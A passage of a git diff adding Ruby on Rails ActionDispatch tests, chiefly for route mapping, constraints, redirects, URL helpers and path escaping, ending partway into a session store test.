+ get '/medical/taxis/new'
+ assert_equal 'medical/taxis#new', @response.body
+ assert_equal '/medical/taxis/new', new_medical_taxis_path
+
+ post '/medical/taxis'
+ assert_equal 'medical/taxis#create', @response.body
+
+ get '/medical/taxis'
+ assert_equal 'medical/taxis#show', @response.body
+ assert_equal '/medical/taxis', medical_taxis_path
+
+ get '/medical/taxis/edit'
+ assert_equal 'medical/taxis#edit', @response.body
+ assert_equal '/medical/taxis/edit', edit_medical_taxis_path
+
+ put '/medical/taxis'
+ assert_equal 'medical/taxis#update', @response.body
+
+ delete '/medical/taxis'
+ assert_equal 'medical/taxis#destroy', @response.body
+ end
+
+ def test_greedy_resource_id_regexp_doesnt_match_edit_and_custom_action
+ draw do
+ resources :sections, :id => /.+/ do
+ get :preview, :on => :member
+ end
+ end
+
+ get '/sections/1/edit'
+ assert_equal 'sections#edit', @response.body
+ assert_equal '/sections/1/edit', edit_section_path(:id => '1')
+
+ get '/sections/1/preview'
+ assert_equal 'sections#preview', @response.body
+ assert_equal '/sections/1/preview', preview_section_path(:id => '1')
+ end
+
+ def test_resource_constraints_are_pushed_to_scope
+ draw do
+ namespace :wiki do
+ resources :articles, :id => /[^\/]+/ do
+ resources :comments, :only => [:create, :new]
+ end
+ end
+ end
+
+ get '/wiki/articles/Ruby_on_Rails_3.0'
+ assert_equal 'wiki/articles#show', @response.body
+ assert_equal '/wiki/articles/Ruby_on_Rails_3.0', wiki_article_path(:id => 'Ruby_on_Rails_3.0')
+
+ get '/wiki/articles/Ruby_on_Rails_3.0/comments/new'
+ assert_equal 'wiki/comments#new', @response.body
+ assert_equal '/wiki/articles/Ruby_on_Rails_3.0/comments/new', new_wiki_article_comment_path(:article_id => 'Ruby_on_Rails_3.0')
+
+ post '/wiki/articles/Ruby_on_Rails_3.0/comments'
+ assert_equal 'wiki/comments#create', @response.body
+ assert_equal '/wiki/articles/Ruby_on_Rails_3.0/comments', wiki_article_comments_path(:article_id => 'Ruby_on_Rails_3.0')
+ end
+
+ def test_resources_path_can_be_a_symbol
+ draw do
+ resources :wiki_pages, :path => :pages
+ resource :wiki_account, :path => :my_account
+ end
+
+ get '/pages'
+ assert_equal 'wiki_pages#index', @response.body
+ assert_equal '/pages', wiki_pages_path
+
+ get '/pages/Ruby_on_Rails'
+ assert_equal 'wiki_pages#show', @response.body
+ assert_equal '/pages/Ruby_on_Rails', wiki_page_path(:id => 'Ruby_on_Rails')
+
+ get '/my_account'
+ assert_equal 'wiki_accounts#show', @response.body
+ assert_equal '/my_account', wiki_account_path
+ end
+
+ def test_redirect_https
+ draw do
+ get 'secure', :to => redirect("/secure/login")
+ end
+
+ with_https do
+ get '/secure'
+ verify_redirect 'https://www.example.com/secure/login'
+ end
+ end
+
+ def test_symbolized_path_parameters_is_not_stale
+ draw do
+ scope '/countries/:country', :constraints => lambda { |params, req| %w(all France).include?(params[:country]) } do
+ get '/', :to => 'countries#index'
+ get '/cities', :to => 'countries#cities'
+ end
+
+ get '/countries/:country/(*other)', :to => redirect{ |params, req| params[:other] ? "/countries/all/#{params[:other]}" : '/countries/all' }
+ end
+
+ get '/countries/France'
+ assert_equal 'countries#index', @response.body
+
+ get '/countries/France/cities'
+ assert_equal 'countries#cities', @response.body
+
+ get '/countries/UK'
+ verify_redirect 'http://www.example.com/countries/all'
+
+ get '/countries/UK/cities'
+ verify_redirect 'http://www.example.com/countries/all/cities'
+ end
+
+ def test_constraints_block_not_carried_to_following_routes
+ draw do
+ scope '/italians' do
+ get '/writers', :to => 'italians#writers', :constraints => ::TestRoutingMapper::IpRestrictor
+ get '/sculptors', :to => 'italians#sculptors'
+ get '/painters/:painter', :to => 'italians#painters', :constraints => {:painter => /michelangelo/}
+ end
+ end
+
+ get '/italians/writers'
+ assert_equal 'Not Found', @response.body
+
+ get '/italians/sculptors'
+ assert_equal 'italians#sculptors', @response.body
+
+ get '/italians/painters/botticelli'
+ assert_equal 'Not Found', @response.body
+
+ get '/italians/painters/michelangelo'
+ assert_equal 'italians#painters', @response.body
+ end
+
+ def test_custom_resource_actions_defined_using_string
+ draw do
+ resources :customers do
+ resources :invoices do
+ get "aged/:months", :on => :collection, :action => :aged, :as => :aged
+ end
+
+ get "inactive", :on => :collection
+ post "deactivate", :on => :member
+ get "old", :on => :collection, :as => :stale
+ end
+ end
+
+ get '/customers/inactive'
+ assert_equal 'customers#inactive', @response.body
+ assert_equal '/customers/inactive', inactive_customers_path
+
+ post '/customers/1/deactivate'
+ assert_equal 'customers#deactivate', @response.body
+ assert_equal '/customers/1/deactivate', deactivate_customer_path(:id => '1')
+
+ get '/customers/old'
+ assert_equal 'customers#old', @response.body
+ assert_equal '/customers/old', stale_customers_path
+
+ get '/customers/1/invoices/aged/3'
+ assert_equal 'invoices#aged', @response.body
+ assert_equal '/customers/1/invoices/aged/3', aged_customer_invoices_path(:customer_id => '1', :months => '3')
+ end
+
+ def test_route_defined_in_resources_scope_level
+ draw do
+ resources :customers do
+ get "export"
+ end
+ end
+
+ get '/customers/1/export'
+ assert_equal 'customers#export', @response.body
+ assert_equal '/customers/1/export', customer_export_path(:customer_id => '1')
+ end
+
+ def test_named_character_classes_in_regexp_constraints
+ draw do
+ get '/purchases/:token/:filename',
+ :to => 'purchases#fetch',
+ :token => /[[:alnum:]]{10}/,
+ :filename => /(.+)/,
+ :as => :purchase
+ end
+
+ get '/purchases/315004be7e/Ruby_on_Rails_3.pdf'
+ assert_equal 'purchases#fetch', @response.body
+ assert_equal '/purchases/315004be7e/Ruby_on_Rails_3.pdf', purchase_path(:token => '315004be7e', :filename => 'Ruby_on_Rails_3.pdf')
+ end
+
+ def test_nested_resource_constraints
+ draw do
+ resources :lists, :id => /([A-Za-z0-9]{25})|default/ do
+ resources :todos, :id => /\d+/
+ end
+ end
+
+ get '/lists/01234012340123401234fffff'
+ assert_equal 'lists#show', @response.body
+ assert_equal '/lists/01234012340123401234fffff', list_path(:id => '01234012340123401234fffff')
+
+ get '/lists/01234012340123401234fffff/todos/1'
+ assert_equal 'todos#show', @response.body
+ assert_equal '/lists/01234012340123401234fffff/todos/1', list_todo_path(:list_id => '01234012340123401234fffff', :id => '1')
+
+ get '/lists/2/todos/1'
+ assert_equal 'Not Found', @response.body
+ assert_raises(ActionController::UrlGenerationError){ list_todo_path(:list_id => '2', :id => '1') }
+ end
+
+ def test_redirect_argument_error
+ routes = Class.new { include ActionDispatch::Routing::Redirection }.new
+ assert_raises(ArgumentError) { routes.redirect Object.new }
+ end
+
+ def test_explicitly_avoiding_the_named_route
+ draw do
+ scope :as => "routes" do
+ get "/c/:id", :as => :collision, :to => "collision#show"
+ get "/collision", :to => "collision#show"
+ get "/no_collision", :to => "collision#show", :as => nil
+ end
+ end
+
+ assert !respond_to?(:routes_no_collision_path)
+ end
+
+ def test_controller_name_with_leading_slash_raise_error
+ assert_raise(ArgumentError) do
+ draw { get '/feeds/:service', :to => '/feeds#show' }
+ end
+
+ assert_raise(ArgumentError) do
+ draw { get '/feeds/:service', :controller => '/feeds', :action => 'show' }
+ end
+
+ assert_raise(ArgumentError) do
+ draw { get '/api/feeds/:service', :to => '/api/feeds#show' }
+ end
+
+ assert_raise(ArgumentError) do
+ draw { controller("/feeds") { get '/feeds/:service', :to => :show } }
+ end
+
+ assert_raise(ArgumentError) do
+ draw { resources :feeds, :controller => '/feeds' }
+ end
+ end
+
+ def test_invalid_route_name_raises_error
+ assert_raise(ArgumentError) do
+ draw { get '/products', :to => 'products#index', :as => 'products ' }
+ end
+
+ assert_raise(ArgumentError) do
+ draw { get '/products', :to => 'products#index', :as => ' products' }
+ end
+
+ assert_raise(ArgumentError) do
+ draw { get '/products', :to => 'products#index', :as => 'products!' }
+ end
+
+ assert_raise(ArgumentError) do
+ draw { get '/products', :to => 'products#index', :as => 'products index' }
+ end
+
+ assert_raise(ArgumentError) do
+ draw { get '/products', :to => 'products#index', :as => '1products' }
+ end
+ end
+
+ def test_duplicate_route_name_raises_error
+ assert_raise(ArgumentError) do
+ draw do
+ get '/collision', :to => 'collision#show', :as => 'collision'
+ get '/duplicate', :to => 'duplicate#show', :as => 'collision'
+ end
+ end
+ end
+
+ def test_duplicate_route_name_via_resources_raises_error
+ assert_raise(ArgumentError) do
+ draw do
+ resources :collisions
+ get '/collision', :to => 'collision#show', :as => 'collision'
+ end
+ end
+ end
+
+ def test_nested_route_in_nested_resource
+ draw do
+ resources :posts, :only => [:index, :show] do
+ resources :comments, :except => :destroy do
+ get "views" => "comments#views", :as => :views
+ end
+ end
+ end
+
+ get "/posts/1/comments/2/views"
+ assert_equal "comments#views", @response.body
+ assert_equal "/posts/1/comments/2/views", post_comment_views_path(:post_id => '1', :comment_id => '2')
+ end
+
+ def test_root_in_deeply_nested_scope
+ draw do
+ resources :posts, :only => [:index, :show] do
+ namespace :admin do
+ root :to => "index#index"
+ end
+ end
+ end
+
+ get "/posts/1/admin"
+ assert_equal "admin/index#index", @response.body
+ assert_equal "/posts/1/admin", post_admin_root_path(:post_id => '1')
+ end
+
+ def test_custom_param
+ draw do
+ resources :profiles, :param => :username do
+ get :details, :on => :member
+ resources :messages
+ end
+ end
+
+ get '/profiles/bob'
+ assert_equal 'profiles#show', @response.body
+ assert_equal 'bob', @request.params[:username]
+
+ get '/profiles/bob/details'
+ assert_equal 'bob', @request.params[:username]
+
+ get '/profiles/bob/messages/34'
+ assert_equal 'bob', @request.params[:profile_username]
+ assert_equal '34', @request.params[:id]
+ end
+
+ def test_custom_param_constraint
+ draw do
+ resources :profiles, :param => :username, :username => /[a-z]+/ do
+ get :details, :on => :member
+ resources :messages
+ end
+ end
+
+ get '/profiles/bob1'
+ assert_equal 404, @response.status
+
+ get '/profiles/bob1/details'
+ assert_equal 404, @response.status
+
+ get '/profiles/bob1/messages/34'
+ assert_equal 404, @response.status
+ end
+
+ def test_shallow_custom_param
+ draw do
+ resources :orders do
+ constraints :download => /[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}/ do
+ resources :downloads, :param => :download, :shallow => true
+ end
+ end
+ end
+
+ get '/downloads/0c0c0b68-d24b-11e1-a861-001ff3fffe6f.zip'
+ assert_equal 'downloads#show', @response.body
+ assert_equal '0c0c0b68-d24b-11e1-a861-001ff3fffe6f', @request.params[:download]
+ end
+
+ def test_action_from_path_is_not_frozen
+ draw do
+ get 'search' => 'search'
+ end
+
+ get '/search'
+ assert !@request.params[:action].frozen?
+ end
+
+private
+
+ def draw(&block)
+ self.class.stub_controllers do |routes|
+ @app = routes
+ @app.default_url_options = { host: 'www.example.com' }
+ @app.draw(&block)
+ end
+ end
+
+ def url_for(options = {})
+ @app.url_helpers.url_for(options)
+ end
+
+ def method_missing(method, *args, &block)
+ if method.to_s =~ /_(path|url)$/
+ @app.url_helpers.send(method, *args, &block)
+ else
+ super
+ end
+ end
+
+ def with_https
+ old_https = https?
+ https!
+ yield
+ ensure
+ https!(old_https)
+ end
+
+ def verify_redirect(url, status=301)
+ assert_equal status, @response.status
+ assert_equal url, @response.headers['Location']
+ assert_equal expected_redirect_body(url), @response.body
+ end
+
+ def expected_redirect_body(url)
+ %(<html><body>You are being <a href="#{ERB::Util.h(url)}">redirected</a>.</body></html>)
+ end
+end
+
+class TestAltApp < ActionDispatch::IntegrationTest
+ class AltRequest
+ def initialize(env)
+ @env = env
+ end
+
+ def path_info
+ "/"
+ end
+
+ def request_method
+ "GET"
+ end
+
+ def ip
+ "127.0.0.1"
+ end
+
+ def x_header
+ @env["HTTP_X_HEADER"] || ""
+ end
+ end
+
+ class XHeader
+ def call(env)
+ [200, {"Content-Type" => "text/html"}, ["XHeader"]]
+ end
+ end
+
+ class AltApp
+ def call(env)
+ [200, {"Content-Type" => "text/html"}, ["Alternative App"]]
+ end
+ end
+
+ AltRoutes = ActionDispatch::Routing::RouteSet.new(AltRequest)
+ AltRoutes.draw do
+ get "/" => TestAltApp::XHeader.new, :constraints => {:x_header => /HEADER/}
+ get "/" => TestAltApp::AltApp.new
+ end
+
+ def app
+ AltRoutes
+ end
+
+ def test_alt_request_without_header
+ get "/"
+ assert_equal "Alternative App", @response.body
+ end
+
+ def test_alt_request_with_matched_header
+ get "/", {}, "HTTP_X_HEADER" => "HEADER"
+ assert_equal "XHeader", @response.body
+ end
+
+ def test_alt_request_with_unmatched_header
+ get "/", {}, "HTTP_X_HEADER" => "NON_MATCH"
+ assert_equal "Alternative App", @response.body
+ end
+end
+
+class TestAppendingRoutes < ActionDispatch::IntegrationTest
+ def simple_app(resp)
+ lambda { |e| [ 200, { 'Content-Type' => 'text/plain' }, [resp] ] }
+ end
+
+ def setup
+ super
+ s = self
+ @app = ActionDispatch::Routing::RouteSet.new
+ @app.append do
+ get '/hello' => s.simple_app('fail')
+ get '/goodbye' => s.simple_app('goodbye')
+ end
+
+ @app.draw do
+ get '/hello' => s.simple_app('hello')
+ end
+ end
+
+ def test_goodbye_should_be_available
+ get '/goodbye'
+ assert_equal 'goodbye', @response.body
+ end
+
+ def test_hello_should_not_be_overwritten
+ get '/hello'
+ assert_equal 'hello', @response.body
+ end
+
+ def test_missing_routes_are_still_missing
+ get '/random'
+ assert_equal 404, @response.status
+ end
+end
+
+class TestNamespaceWithControllerOption < ActionDispatch::IntegrationTest
+ module ::Admin
+ class StorageFilesController < ActionController::Base
+ def index
+ render :text => "admin/storage_files#index"
+ end
+ end
+ end
+
+ def draw(&block)
+ @app = ActionDispatch::Routing::RouteSet.new
+ @app.draw(&block)
+ end
+
+ def test_valid_controller_options_inside_namespace
+ draw do
+ namespace :admin do
+ resources :storage_files, :controller => "storage_files"
+ end
+ end
+
+ get '/admin/storage_files'
+ assert_equal "admin/storage_files#index", @response.body
+ end
+
+ def test_resources_with_valid_namespaced_controller_option
+ draw do
+ resources :storage_files, :controller => 'admin/storage_files'
+ end
+
+ get 'storage_files'
+ assert_equal "admin/storage_files#index", @response.body
+ end
+
+ def test_warn_with_ruby_constant_syntax_controller_option
+ e = assert_raise(ArgumentError) do
+ draw do
+ namespace :admin do
+ resources :storage_files, :controller => "StorageFiles"
+ end
+ end
+ end
+
+ assert_match "'admin/StorageFiles' is not a supported controller name", e.message
+ end
+
+ def test_warn_with_ruby_constant_syntax_namespaced_controller_option
+ e = assert_raise(ArgumentError) do
+ draw do
+ resources :storage_files, :controller => 'Admin::StorageFiles'
+ end
+ end
+
+ assert_match "'Admin::StorageFiles' is not a supported controller name", e.message
+ end
+end
+
+class TestDefaultScope < ActionDispatch::IntegrationTest
+ module ::Blog
+ class PostsController < ActionController::Base
+ def index
+ render :text => "blog/posts#index"
+ end
+ end
+ end
+
+ DefaultScopeRoutes = ActionDispatch::Routing::RouteSet.new
+ DefaultScopeRoutes.default_scope = {:module => :blog}
+ DefaultScopeRoutes.draw do
+ resources :posts
+ end
+
+ def app
+ DefaultScopeRoutes
+ end
+
+ include DefaultScopeRoutes.url_helpers
+
+ def test_default_scope
+ get '/posts'
+ assert_equal "blog/posts#index", @response.body
+ end
+end
+
+class TestHttpMethods < ActionDispatch::IntegrationTest
+ RFC2616 = %w(OPTIONS GET HEAD POST PUT DELETE TRACE CONNECT)
+ RFC2518 = %w(PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK)
+ RFC3253 = %w(VERSION-CONTROL REPORT CHECKOUT CHECKIN UNCHECKOUT MKWORKSPACE UPDATE LABEL MERGE BASELINE-CONTROL MKACTIVITY)
+ RFC3648 = %w(ORDERPATCH)
+ RFC3744 = %w(ACL)
+ RFC5323 = %w(SEARCH)
+ RFC5789 = %w(PATCH)
+
+ def simple_app(response)
+ lambda { |env| [ 200, { 'Content-Type' => 'text/plain' }, [response] ] }
+ end
+
+ setup do
+ s = self
+ @app = ActionDispatch::Routing::RouteSet.new
+
+ @app.draw do
+ (RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC5789).each do |method|
+ match '/' => s.simple_app(method), :via => method.underscore.to_sym
+ end
+ end
+ end
+
+ (RFC2616 + RFC2518 + RFC3253 + RFC3648 + RFC3744 + RFC5323 + RFC5789).each do |method|
+ test "request method #{method.underscore} can be matched" do
+ get '/', nil, 'REQUEST_METHOD' => method
+ assert_equal method, @response.body
+ end
+ end
+end
+
+class TestUriPathEscaping < ActionDispatch::IntegrationTest
+ Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ get '/:segment' => lambda { |env|
+ path_params = env['action_dispatch.request.path_parameters']
+ [200, { 'Content-Type' => 'text/plain' }, [path_params[:segment]]]
+ }, :as => :segment
+
+ get '/*splat' => lambda { |env|
+ path_params = env['action_dispatch.request.path_parameters']
+ [200, { 'Content-Type' => 'text/plain' }, [path_params[:splat]]]
+ }, :as => :splat
+ end
+ end
+
+ include Routes.url_helpers
+ def app; Routes end
+
+ test 'escapes generated path segment' do
+ assert_equal '/a%20b/c+d', segment_path(:segment => 'a b/c+d')
+ end
+
+ test 'unescapes recognized path segment' do
+ get '/a%20b%2Fc+d'
+ assert_equal 'a b/c+d', @response.body
+ end
+
+ test 'escapes generated path splat' do
+ assert_equal '/a%20b/c+d', splat_path(:splat => 'a b/c+d')
+ end
+
+ test 'unescapes recognized path splat' do
+ get '/a%20b/c+d'
+ assert_equal 'a b/c+d', @response.body
+ end
+end
+
+class TestUnicodePaths < ActionDispatch::IntegrationTest
+ Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ get "/ほげ" => lambda { |env|
+ [200, { 'Content-Type' => 'text/plain' }, []]
+ }, :as => :unicode_path
+ end
+ end
+
+ include Routes.url_helpers
+ def app; Routes end
+
+ test 'recognizes unicode path' do
+ get "/#{Rack::Utils.escape("ほげ")}"
+ assert_equal "200", @response.code
+ end
+end
+
+class TestMultipleNestedController < ActionDispatch::IntegrationTest
+ module ::Foo
+ module Bar
+ class BazController < ActionController::Base
+ def index
+ render :inline => "<%= url_for :controller => '/pooh', :action => 'index' %>"
+ end
+ end
+ end
+ end
+
+ Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ namespace :foo do
+ namespace :bar do
+ get "baz" => "baz#index"
+ end
+ end
+ get "pooh" => "pooh#index"
+ end
+ end
+
+ include Routes.url_helpers
+ def app; Routes end
+
+ test "controller option which starts with '/' from multiple nested controller" do
+ get "/foo/bar/baz"
+ assert_equal "/pooh", @response.body
+ end
+end
+
+class TestTildeAndMinusPaths < ActionDispatch::IntegrationTest
+ Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
+
+ get "/~user" => ok
+ get "/young-and-fine" => ok
+ end
+ end
+
+ include Routes.url_helpers
+ def app; Routes end
+
+ test 'recognizes tilde path' do
+ get "/~user"
+ assert_equal "200", @response.code
+ end
+
+ test 'recognizes minus path' do
+ get "/young-and-fine"
+ assert_equal "200", @response.code
+ end
+
+end
+
+class TestRedirectInterpolation < ActionDispatch::IntegrationTest
+ Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
+
+ get "/foo/:id" => redirect("/foo/bar/%{id}")
+ get "/bar/:id" => redirect(:path => "/foo/bar/%{id}")
+ get "/foo/bar/:id" => ok
+ end
+ end
+
+ def app; Routes end
+
+ test "redirect escapes interpolated parameters with redirect proc" do
+ get "/foo/1%3E"
+ verify_redirect "http://www.example.com/foo/bar/1%3E"
+ end
+
+ test "redirect escapes interpolated parameters with option proc" do
+ get "/bar/1%3E"
+ verify_redirect "http://www.example.com/foo/bar/1%3E"
+ end
+
+private
+ def verify_redirect(url, status=301)
+ assert_equal status, @response.status
+ assert_equal url, @response.headers['Location']
+ assert_equal expected_redirect_body(url), @response.body
+ end
+
+ def expected_redirect_body(url)
+ %(<html><body>You are being <a href="#{ERB::Util.h(url)}">redirected</a>.</body></html>)
+ end
+end
+
+class TestConstraintsAccessingParameters < ActionDispatch::IntegrationTest
+ Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
+
+ get "/:foo" => ok, :constraints => lambda { |r| r.params[:foo] == 'foo' }
+ get "/:bar" => ok
+ end
+ end
+
+ def app; Routes end
+
+ test "parameters are reset between constraint checks" do
+ get "/bar"
+ assert_equal nil, @request.params[:foo]
+ assert_equal "bar", @request.params[:bar]
+ end
+end
+
+class TestGlobRoutingMapper < ActionDispatch::IntegrationTest
+ Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
+
+ get "/*id" => redirect("/not_cars"), :constraints => {id: /dummy/}
+ get "/cars" => ok
+ end
+ end
+
+ #include Routes.url_helpers
+ def app; Routes end
+
+ def test_glob_constraint
+ get "/dummy"
+ assert_equal "301", @response.code
+ assert_equal "/not_cars", @response.header['Location'].match('/[^/]+$')[0]
+ end
+
+ def test_glob_constraint_skip_route
+ get "/cars"
+ assert_equal "200", @response.code
+ end
+ def test_glob_constraint_skip_all
+ get "/missing"
+ assert_equal "404", @response.code
+ end
+end
+
+class TestOptimizedNamedRoutes < ActionDispatch::IntegrationTest
+ Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
+ get '/foo' => ok, as: :foo
+ get '/post(/:action(/:id))' => ok, as: :posts
+ end
+ end
+
+ include Routes.url_helpers
+ def app; Routes end
+
+ test 'enabled when not mounted and default_url_options is empty' do
+ assert Routes.url_helpers.optimize_routes_generation?
+ end
+
+ test 'named route called as singleton method' do
+ assert_equal '/foo', Routes.url_helpers.foo_path
+ end
+
+ test 'named route called on included module' do
+ assert_equal '/foo', foo_path
+ end
+
+ test 'nested optional segments are removed' do
+ assert_equal '/post', Routes.url_helpers.posts_path
+ assert_equal '/post', posts_path
+ end
+end
+
+class TestNamedRouteUrlHelpers < ActionDispatch::IntegrationTest
+ class CategoriesController < ActionController::Base
+ def show
+ render :text => "categories#show"
+ end
+ end
+
+ class ProductsController < ActionController::Base
+ def show
+ render :text => "products#show"
+ end
+ end
+
+ Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ scope :module => "test_named_route_url_helpers" do
+ get "/categories/:id" => 'categories#show', :as => :category
+ get "/products/:id" => 'products#show', :as => :product
+ end
+ end
+ end
+
+ def app; Routes end
+
+ include Routes.url_helpers
+
+ test "url helpers do not ignore nil parameters when using non-optimized routes" do
+ Routes.stubs(:optimize_routes_generation?).returns(false)
+
+ get "/categories/1"
+ assert_response :success
+ assert_raises(ActionController::UrlGenerationError) { product_path(nil) }
+ end
+end
+
+class TestUrlConstraints < ActionDispatch::IntegrationTest
+ Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
+
+ constraints :subdomain => 'admin' do
+ get '/' => ok, :as => :admin_root
+ end
+
+ scope :constraints => { :protocol => 'https://' } do
+ get '/' => ok, :as => :secure_root
+ end
+
+ get '/' => ok, :as => :alternate_root, :constraints => { :port => 8080 }
+
+ get '/search' => ok, :constraints => { :subdomain => false }
+
+ get '/logs' => ok, :constraints => { :subdomain => true }
+ end
+ end
+
+ include Routes.url_helpers
+ def app; Routes end
+
+ test "constraints are copied to defaults when using constraints method" do
+ assert_equal 'http://admin.example.com/', admin_root_url
+
+ get 'http://admin.example.com/'
+ assert_response :success
+ end
+
+ test "constraints are copied to defaults when using scope constraints hash" do
+ assert_equal 'https://www.example.com/', secure_root_url
+
+ get 'https://www.example.com/'
+ assert_response :success
+ end
+
+ test "constraints are copied to defaults when using route constraints hash" do
+ assert_equal 'http://www.example.com:8080/', alternate_root_url
+
+ get 'http://www.example.com:8080/'
+ assert_response :success
+ end
+
+ test "false constraint expressions check for absence of values" do
+ get 'http://example.com/search'
+ assert_response :success
+ assert_equal 'http://example.com/search', search_url
+
+ get 'http://api.example.com/search'
+ assert_response :not_found
+ end
+
+ test "true constraint expressions check for presence of values" do
+ get 'http://api.example.com/logs'
+ assert_response :success
+ assert_equal 'http://api.example.com/logs', logs_url
+
+ get 'http://example.com/logs'
+ assert_response :not_found
+ end
+end
+
+class TestInvalidUrls < ActionDispatch::IntegrationTest
+ class FooController < ActionController::Base
+ def show
+ render :text => "foo#show"
+ end
+ end
+
+ test "invalid UTF-8 encoding returns a 400 Bad Request" do
+ with_routing do |set|
+ set.draw do
+ get "/bar/:id", :to => redirect("/foo/show/%{id}")
+ get "/foo/show(/:id)", :to => "test_invalid_urls/foo#show"
+ get "/foo(/:action(/:id))", :to => "test_invalid_urls/foo"
+ get "/:controller(/:action(/:id))"
+ end
+
+ get "/%E2%EF%BF%BD%A6"
+ assert_response :bad_request
+
+ get "/foo/%E2%EF%BF%BD%A6"
+ assert_response :bad_request
+
+ get "/foo/show/%E2%EF%BF%BD%A6"
+ assert_response :bad_request
+
+ get "/bar/%E2%EF%BF%BD%A6"
+ assert_response :bad_request
+ end
+ end
+end
+
+class TestOptionalRootSegments < ActionDispatch::IntegrationTest
+ stub_controllers do |routes|
+ Routes = routes
+ Routes.draw do
+ get '/(page/:page)', :to => 'pages#index', :as => :root
+ end
+ end
+
+ def app
+ Routes
+ end
+
+ include Routes.url_helpers
+
+ def test_optional_root_segments
+ get '/'
+ assert_equal 'pages#index', @response.body
+ assert_equal '/', root_path
+
+ get '/page/1'
+ assert_equal 'pages#index', @response.body
+ assert_equal '1', @request.params[:page]
+ assert_equal '/page/1', root_path('1')
+ assert_equal '/page/1', root_path(:page => '1')
+ end
+end
+
+class TestPortConstraints < ActionDispatch::IntegrationTest
+ Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
+
+ get '/integer', to: ok, constraints: { :port => 8080 }
+ get '/string', to: ok, constraints: { :port => '8080' }
+ get '/array', to: ok, constraints: { :port => [8080] }
+ get '/regexp', to: ok, constraints: { :port => /8080/ }
+ end
+ end
+
+ include Routes.url_helpers
+ def app; Routes end
+
+ def test_integer_port_constraints
+ get 'http://www.example.com/integer'
+ assert_response :not_found
+
+ get 'http://www.example.com:8080/integer'
+ assert_response :success
+ end
+
+ def test_string_port_constraints
+ get 'http://www.example.com/string'
+ assert_response :not_found
+
+ get 'http://www.example.com:8080/string'
+ assert_response :success
+ end
+
+ def test_array_port_constraints
+ get 'http://www.example.com/array'
+ assert_response :not_found
+
+ get 'http://www.example.com:8080/array'
+ assert_response :success
+ end
+
+ def test_regexp_port_constraints
+ get 'http://www.example.com/regexp'
+ assert_response :not_found
+
+ get 'http://www.example.com:8080/regexp'
+ assert_response :success
+ end
+end
+
+class TestFormatConstraints < ActionDispatch::IntegrationTest
+ Routes = ActionDispatch::Routing::RouteSet.new.tap do |app|
+ app.draw do
+ ok = lambda { |env| [200, { 'Content-Type' => 'text/plain' }, []] }
+
+ get '/string', to: ok, constraints: { format: 'json' }
+ get '/regexp', to: ok, constraints: { format: /json/ }
+ get '/json_only', to: ok, format: true, constraints: { format: /json/ }
+ get '/xml_only', to: ok, format: 'xml'
+ end
+ end
+
+ include Routes.url_helpers
+ def app; Routes end
+
+ def test_string_format_constraints
+ get 'http://www.example.com/string'
+ assert_response :success
+
+ get 'http://www.example.com/string.json'
+ assert_response :success
+
+ get 'http://www.example.com/string.html'
+ assert_response :not_found
+ end
+
+ def test_regexp_format_constraints
+ get 'http://www.example.com/regexp'
+ assert_response :success
+
+ get 'http://www.example.com/regexp.json'
+ assert_response :success
+
+ get 'http://www.example.com/regexp.html'
+ assert_response :not_found
+ end
+
+ def test_enforce_with_format_true_with_constraint
+ get 'http://www.example.com/json_only.json'
+ assert_response :success
+
+ get 'http://www.example.com/json_only.html'
+ assert_response :not_found
+
+ get 'http://www.example.com/json_only'
+ assert_response :not_found
+ end
+
+ def test_enforce_with_string
+ get 'http://www.example.com/xml_only.xml'
+ assert_response :success
+
+ get 'http://www.example.com/xml_only'
+ assert_response :success
+
+ get 'http://www.example.com/xml_only.json'
+ assert_response :not_found
+ end
+end
+
+class TestRouteDefaults < ActionDispatch::IntegrationTest
+ stub_controllers do |routes|
+ Routes = routes
+ Routes.draw do
+ resources :posts, bucket_type: 'post'
+ resources :projects, defaults: { bucket_type: 'project' }
+ end
+ end
+
+ def app
+ Routes
+ end
+
+ include Routes.url_helpers
+
+ def test_route_options_are_required_for_url_for
+ assert_raises(ActionController::UrlGenerationError) do
+ assert_equal '/posts/1', url_for(controller: 'posts', action: 'show', id: 1, only_path: true)
+ end
+
+ assert_equal '/posts/1', url_for(controller: 'posts', action: 'show', id: 1, bucket_type: 'post', only_path: true)
+ end
+
+ def test_route_defaults_are_not_required_for_url_for
+ assert_equal '/projects/1', url_for(controller: 'projects', action: 'show', id: 1, only_path: true)
+ end
+end
diff --git a/actionpack/test/dispatch/session/abstract_store_test.rb b/actionpack/test/dispatch/session/abstract_store_test.rb
new file mode 100644
index 0000000..fe1a7b4
--- /dev/null
+++ b/actionpack/test/dispatch/session/abstract_store_test.rb
@@ -0,0 +1,56 @@
+require 'abstract_unit'
+require 'action_dispatch/middleware/session/abstract_store'
+
+module ActionDispatch
+ module Session
+ class AbstractStoreTest < ActiveSupport::TestCase
+ class MemoryStore < AbstractStore
+ def initialize(app)
+ @sessions = {}
+ super
+ end
+
+ def get_session(env, sid)
+ sid ||= 1
+ session = @sessions[sid] ||= {}
+ [sid, session]
+ end
+
+ def set_session(env, sid, session, options)
+ @sessions[sid] = session
+ end
+ end
+
+ def test_session_is_set
+ env = {}
